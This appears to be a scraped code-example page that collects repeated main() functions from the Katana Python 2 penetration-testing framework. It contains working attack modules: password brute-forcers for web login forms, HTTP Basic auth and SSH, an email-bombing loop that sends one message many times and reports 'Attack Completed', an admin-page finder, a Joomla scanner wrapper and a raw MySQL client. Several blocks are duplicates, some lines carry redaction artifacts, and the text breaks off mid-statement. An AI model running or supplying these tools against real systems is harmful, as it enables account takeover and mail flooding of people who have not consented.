예제 #1
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					subprocess.call('cd files/joomlavs/;ruby joomlavs.rb -a -u '+initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0], shell=True)
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
예제 #2
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					w = whois.whois(initialize.DEFAULT_VARIABLE[0][0])
					if w:
						wd = w.__dict__
						print colors[10]
						for k, v in wd.items():
							print('%20s\t"%s"' % (k, v))
						print colors[0]
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
예제 #3
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
			if True:
				try:
					server = smtplib.SMTP(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
					if initialize.TLS: server.starttls()
					server.login(initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[3][0])
					Message.loading_file()
					with open(initialize.DEFAULT_VARIABLE[6][0],'r') as body:
						FILE_HTML = ""
						for read_line in body: 
							FILE_HTML += read_line
					message = """\From: %s\nTo: %s\nContent-type: text/html\nSubject: %s\n\n%s""" % (initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[4][0],initialize.DEFAULT_VARIABLE[5][0],FILE_HTML)
					try:
						many=0
						while(many < int(initialize.DEFAULT_VARIABLE[7][0])):
							many+=1
							server.sendmail(initialize.DEFAULT_VARIABLE[4][0], initialize.DEFAULT_VARIABLE[2][0], message)
							print " "+Suf+" #"+str(many)+" E-Mail was sent."
					except:
						print " "+Bad+" E-Mail not was sent."
					print" "+Suf+" Attack Completed."
					server.quit()
				except smtplib.SMTPAuthenticationError:
					print ' '+Bad+' Authentication Required or Authentication went wrong.\n'
				except:
					error = str(sys.exc_info()[1])
					if error.find("SMTP AUTH extension") >= 0 : 
						print " "+Bad+" TLS error, Starting again with TLS."
						initialize.TLS = True
						main(False)
					Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[6][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					try:
						Message.loading_file()
						Testrequestcode = True
						with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords:
							for password in passwords:
								password=password.replace("\n","")
								params = urllib.urlencode({initialize.DEFAULT_VARIABLE[5][0]: initialize.DEFAULT_VARIABLE[3][0], initialize.DEFAULT_VARIABLE[6][0]: password})
								header={"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
								conn = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
								conn.request(initialize.DEFAULT_VARIABLE[7][0], initialize.DEFAULT_VARIABLE[2][0], params, header)
								response = conn.getresponse()
								ver_source = response.read()
								Status = getFunction.checkStatus(response.status)
								if (Testrequestcode==True) : print " "+Alr+" Connection testing:"+initialize.DEFAULT_VARIABLE[0][0]+" "+Status[1]+" Des:"+Status[0]
								if (Status[1]=="Err:Client" or Status[1]=="Err:Server") : break
								Testrequestcode = False
								if ver_source.find(initialize.DEFAULT_VARIABLE[8][0]) <= 0 and response.status == 200:
									getFunction.savefour("BruteForceFormBase",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[7][0],initialize.DEFAULT_VARIABLE[5][0],initialize.DEFAULT_VARIABLE[6][0],initialize.DEFAULT_VARIABLE[3][0],password)
									print "\n-"+Suf+" Successfully with ["+initialize.DEFAULT_VARIABLE[5][0]+"="+initialize.DEFAULT_VARIABLE[3][0]+"]["+initialize.DEFAULT_VARIABLE[6][0]+"="+password+"]\n"
									main(True)
								else:
									print " "+Alr+" testing with the password: "******":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
예제 #5
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					try:
						Message.loading_file()
						with open(initialize.DEFAULT_VARIABLE[2][0],'r') as dirt:
							results=""
							resultn=""
							for patch in dirt: 
								patch=patch.replace("\n","")
								patch = "/" + patch
								connection = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
								connection.request("GET",patch)
								response = connection.getresponse()
								if response.status == 200 or response.status == 301:
									print " "+Suf+" Response "+patch
									results="-"+Suf+" "+patch+"\n"+results
									resultn=patch+","+resultn
								else:
									print " "+Alr+" Checking `"+colors[0]+patch+"` Response:"+str(response.status)
						if results != "":
							print "\n"+results
							getFunction.savefive("Admin Finder",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],results)
						else:
							print "\n "+Nrs+" Not Results :(.\n"

					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0])
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
예제 #6
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					red=socket.socket(socket.AF_INET, socket.SOCK_STREAM)      
					red.connect((initialize.DEFAULT_VARIABLE[0][0], int(initialize.DEFAULT_VARIABLE[1][0]))) 
					Message.loading_file()
					try:
						with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords:
							for password in passwords:
								password=password.replace("\n","")
								red.send("GET                 "+initialize.DEFAULT_VARIABLE[2][0]+" HTTP/1.1\r\n")							
								red.send("HOST:               "+initialize.DEFAULT_VARIABLE[0][0]+"\r\n")							
								red.send("Authorization:Basic "+base64.b64encode(initialize.DEFAULT_VARIABLE[3][0]+":"+password)+"\r\n\r\n")  
								last=red.recv(1000)	
								if last.find("401")<=0:
									getFunction.savethree("BruteForceHTTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[3][0],password)
									Message.Success(initialize.DEFAULT_VARIABLE[3][0],password)
									red.close
									main(True)
								else:
									print " "+Alr+" Checking (username="******")(password="******")"
									red.close
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[4][0])

			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		elif getFunction.KatanaCheckActionisBack(actions): return
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	main(True)
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					red=socket.socket(socket.AF_INET, socket.SOCK_STREAM)      
					red.connect((initialize.DEFAULT_VARIABLE[0][0], int(initialize.DEFAULT_VARIABLE[1][0]))) 
					Message.loading_file()
					try:
						with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords:
							for password in passwords:
								password=password.replace("\n","")
								red.send("GET                 "+initialize.DEFAULT_VARIABLE[2][0]+" HTTP/1.1\r\n")							
								red.send("HOST:               "+initialize.DEFAULT_VARIABLE[0][0]+"\r\n")							
								red.send("Authorization:Basic "+base64.b64encode(initialize.DEFAULT_VARIABLE[3][0]+":"+password)+"\r\n\r\n")  
								last=red.recv(1000)	
								if last.find("401")<=0:
									getFunction.savethree("BruteForceHTTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[3][0],password)
									Message.Success(initialize.DEFAULT_VARIABLE[3][0],password)
									red.close
									main(True)
								else:
									print " "+Alr+" Checking (username="******")(password="******")"
									red.close
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[4][0])

			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		elif getFunction.KatanaCheckActionisBack(actions): return
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	main(True)
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions)  :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					try:
						Message.loading_file()
						with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords:
							for ps in passwords:
								ps=ps.replace("\n","")
								try:
									connect = pxssh.pxssh()
									connect.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[2][0],ps)
									if True:
										getFunction.save("BruteForceSSH",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],ps)
										Message.Success(defaultuser,ps)
										break
								except:
									print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+ps+")"
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0])
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions)  :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					try:
						Message.loading_file()
						with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords:
							for ps in passwords:
								ps=ps.replace("\n","")
								try:
									connect = pxssh.pxssh()
									connect.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[2][0],ps)
									if True:
										getFunction.save("BruteForceSSH",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],ps)
										Message.Success(defaultuser,ps)
										break
								except:
									print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+ps+")"
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0])
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
예제 #10
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    subprocess.call(
                        'cd files/joomlavs/;ruby joomlavs.rb -a -u ' +
                        initialize.DEFAULT_VARIABLE[0][0] + ":" +
                        initialize.DEFAULT_VARIABLE[1][0],
                        shell=True)
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
예제 #11
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    try:
                        con = MySQLdb.connect(
                            initialize.DEFAULT_VARIABLE[0][0],
                            initialize.DEFAULT_VARIABLE[2][0],
                            initialize.DEFAULT_VARIABLE[3][0], "")
                        if True:
                            try:
                                cmd = "nop"
                                print "\n " + Hlp + " SQL Client help"
                                print " -------------------------------------------------------------------------------------------------------"
                                print " |" + colors[6] + "Command" + colors[
                                    0] + "          | " + colors[
                                        6] + "Description" + colors[
                                            0] + "     | " + colors[
                                                6] + "Examples" + colors[
                                                    0] + "                                                        |"
                                print " -------------------------------------------------------------------------------------------------------"
                                print " |show databases   | list databases  | show databases                                                  |"
                                print " |use	           | select database | use user_table                                                  |"
                                print " |show tables	   | list tables     | show tables                                                     |"
                                print " |create database  | create databases| create database USERS                                           | "
                                print " |create table	   | create tables   | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20))      |   "
                                print " |drop database    | drop databases  | drop database USERS                                             | "
                                print " |drop table       | drop tables     | drop table EMAIL                                                | "
                                print " |insert	   | insert data     | insert into EMAILS values ( '2', '*****@*****.**' )               | "
                                print " |update           | update data     | update EMAILS set name='Willy' where id=1                       | "
                                print " |select           | select data     | select id, name from EMAILS                                     | "
                                print " -------------------------------------------------------------------------------------------------------\n"
                                current = "sql"
                                while (cmd != "exit"):
                                    cmd = raw_input(
                                        Message.Client_prompt(current))
                                    cur = con.cursor()
                                    try:
                                        tor = cur.execute(cmd)
                                        if True:
                                            for x in range(tor):
                                                print(" -%s") % cur.fetchone()
                                            print " " + Suf + " ------- > OK."
                                            if cmd[:3] == "use":
                                                current = "sql:" + cmd[4:]
                                    except:
                                        print " " + Bad + " No command '" + cmd + "' found"
                            except:
                                Errors.Errors(event=sys.exc_info(), info=False)
                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[2][0] +
                                      ":" + initialize.DEFAULT_VARIABLE[3][0])
            except:
                Errors.Errors(
                    event=sys.exc_info(),
                    info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                    initialize.DEFAULT_VARIABLE[1][0]
                )  # END CODE MODULE ############################################################################################
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
예제 #12
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions)  :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					try:
						con=MySQLdb.connect(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[3][0],"")
						if True:
							try:
								cmd="nop"
								print "\n "+Hlp+" SQL Client help"
								print " -------------------------------------------------------------------------------------------------------"
								print " |"+colors[6]+"Command"+colors[0]+"          | "+colors[6]+"Description"+colors[0]+"     | "+colors[6]+"Examples"+colors[0]+"                                                        |"
								print " -------------------------------------------------------------------------------------------------------"
								print " |show databases   | list databases  | show databases                                                  |" 
								print " |use	           | select database | use user_table                                                  |"
								print " |show tables	   | list tables     | show tables                                                     |"
								print " |create database  | create databases| create database USERS                                           | "
								print " |create table	   | create tables   | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20))      |   "
								print " |drop database    | drop databases  | drop database USERS                                             | "
								print " |drop table       | drop tables     | drop table EMAIL                                                | "
								print " |insert	   | insert data     | insert into EMAILS values ( '2', '*****@*****.**' )               | "
								print " |update           | update data     | update EMAILS set name='Willy' where id=1                       | "
								print " |select           | select data     | select id, name from EMAILS                                     | "
								print " -------------------------------------------------------------------------------------------------------\n"
								current = "sql"
								while(cmd!="exit"):
									cmd = raw_input(Message.Client_prompt(current))
									cur = con.cursor() 
									try:
										tor=cur.execute(cmd)
										if True:
											for x in range(tor):
	   											print (" -%s") % cur.fetchone()
	   										print " "+Suf+" ------- > OK."
	   										if cmd[:3] == "use": current = "sql:"+cmd[4:]
	   								except:
	   									print " "+Bad+" No command '"+cmd+"' found"
							except:
								Errors.Errors(event=sys.exc_info(), info=False)
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]+":"+initialize.DEFAULT_VARIABLE[3][0])
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])			# END CODE MODULE ############################################################################################
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
예제 #13
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                             initialize.DEFAULT_VARIABLE[1][0])
            if True:
                try:
                    server = smtplib.SMTP(initialize.DEFAULT_VARIABLE[0][0],
                                          initialize.DEFAULT_VARIABLE[1][0])
                    if initialize.TLS: server.starttls()
                    server.login(initialize.DEFAULT_VARIABLE[2][0],
                                 initialize.DEFAULT_VARIABLE[3][0])
                    Message.loading_file()
                    with open(initialize.DEFAULT_VARIABLE[6][0], 'r') as body:
                        FILE_HTML = ""
                        for read_line in body:
                            FILE_HTML += read_line
                    message = """\From: %s\nTo: %s\nContent-type: text/html\nSubject: %s\n\n%s""" % (
                        initialize.DEFAULT_VARIABLE[2][0],
                        initialize.DEFAULT_VARIABLE[4][0],
                        initialize.DEFAULT_VARIABLE[5][0], FILE_HTML)
                    try:
                        many = 0
                        while (many < int(initialize.DEFAULT_VARIABLE[7][0])):
                            many += 1
                            server.sendmail(initialize.DEFAULT_VARIABLE[4][0],
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            message)
                            print " " + Suf + " #" + str(
                                many) + " E-Mail was sent."
                    except:
                        print " " + Bad + " E-Mail not was sent."
                    print " " + Suf + " Attack Completed."
                    server.quit()
                except smtplib.SMTPAuthenticationError:
                    print ' ' + Bad + ' Authentication Required or Authentication went wrong.\n'
                except:
                    error = str(sys.exc_info()[1])
                    if error.find("SMTP AUTH extension") >= 0:
                        print " " + Bad + " TLS error, Starting again with TLS."
                        initialize.TLS = True
                        main(False)
                    Errors.Errors(event=sys.exc_info(),
                                  info=initialize.DEFAULT_VARIABLE[6][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
예제 #14
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    try:
                        Message.loading_file()
                        Testrequestcode = True
                        with open(initialize.DEFAULT_VARIABLE[4][0],
                                  'r') as passwords:
                            for password in passwords:
                                password = password.replace("\n", "")
                                params = urllib.urlencode({
                                    initialize.DEFAULT_VARIABLE[5][0]:
                                    initialize.DEFAULT_VARIABLE[3][0],
                                    initialize.DEFAULT_VARIABLE[6][0]:
                                    password
                                })
                                header = {
                                    "Content-type":
                                    "application/x-www-form-urlencoded",
                                    "Accept": "text/plain"
                                }
                                conn = httplib.HTTPConnection(
                                    initialize.DEFAULT_VARIABLE[0][0],
                                    initialize.DEFAULT_VARIABLE[1][0])
                                conn.request(initialize.DEFAULT_VARIABLE[7][0],
                                             initialize.DEFAULT_VARIABLE[2][0],
                                             params, header)
                                response = conn.getresponse()
                                ver_source = response.read()
                                Status = getFunction.checkStatus(
                                    response.status)
                                if (Testrequestcode == True):
                                    print " " + Alr + " Connection testing:" + initialize.DEFAULT_VARIABLE[
                                        0][0] + " " + Status[
                                            1] + " Des:" + Status[0]
                                if (Status[1] == "Err:Client"
                                        or Status[1] == "Err:Server"):
                                    break
                                Testrequestcode = False
                                if ver_source.find(
                                        initialize.DEFAULT_VARIABLE[8]
                                    [0]) <= 0 and response.status == 200:
                                    getFunction.savefour(
                                        "BruteForceFormBase",
                                        initialize.DEFAULT_VARIABLE[0][0],
                                        initialize.DEFAULT_VARIABLE[1][0],
                                        initialize.DEFAULT_VARIABLE[2][0],
                                        initialize.DEFAULT_VARIABLE[7][0],
                                        initialize.DEFAULT_VARIABLE[5][0],
                                        initialize.DEFAULT_VARIABLE[6][0],
                                        initialize.DEFAULT_VARIABLE[3][0],
                                        password)
                                    print "\n-" + Suf + " Successfully with [" + initialize.DEFAULT_VARIABLE[
                                        5][0] + "=" + initialize.DEFAULT_VARIABLE[
                                            3][0] + "][" + initialize.DEFAULT_VARIABLE[
